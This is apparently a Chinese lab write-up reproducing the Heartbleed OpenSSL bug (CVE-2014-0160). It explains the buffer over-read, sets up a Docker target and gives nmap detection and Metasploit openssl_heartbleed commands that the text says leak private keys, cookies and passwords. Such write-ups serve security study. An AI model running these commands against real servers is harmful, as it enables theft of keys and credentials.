CVE-2014-0160:心脏出血(心血)漏洞

0x00 漏洞介绍

是一个出现在加密程序库OpenSSL的安全漏洞,该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多

0x01 漏洞成因

由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露

0x02 影响范围

OpenSSL1.0.1版本

0x03 环境搭建

使用docker一键搭建环境

docker-compose build
docker-compose up -d
docker-compose ps

CVE-2014-0160:心脏出血(心血)漏洞_第1张图片
CVE-2014-0160:心脏出血(心血)漏洞_第2张图片
环境搭建完成后,访问http://192.168.220.134,测试环境是否搭建成功
http://192.168.220.134/
CVE-2014-0160:心脏出血(心血)漏洞_第3张图片

0x04 漏洞复现

使用nmap检测“心脏出血”漏洞是否存在,指定端口号为443

nmap -sV -p 443 --script ssl-heartbleed.nse 192.168.220.134

CVE-2014-0160:心脏出血(心血)漏洞_第4张图片
使用msf对漏洞进行利用,查找heartbleed模块

msf5 > search heartbleed

CVE-2014-0160:心脏出血(心血)漏洞_第5张图片
使用第一个选项,设置主机IP地址、端口号,设置verbosetrue以便于显示泄露的信息

msf5 > use auxiliary/scanner/ssl/openssl_heartbleed 
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > show options
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 192.168.220.134
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RPOST 443
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true 
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > exploit

CVE-2014-0160:心脏出血(心血)漏洞_第6张图片
CVE-2014-0160:心脏出血(心血)漏洞_第7张图片
漏洞利用成功后可以抓取到信息,包括服务器的私钥、用户的cookie、密码等
CVE-2014-0160:心脏出血(心血)漏洞_第8张图片

你可能感兴趣的:(漏洞复现)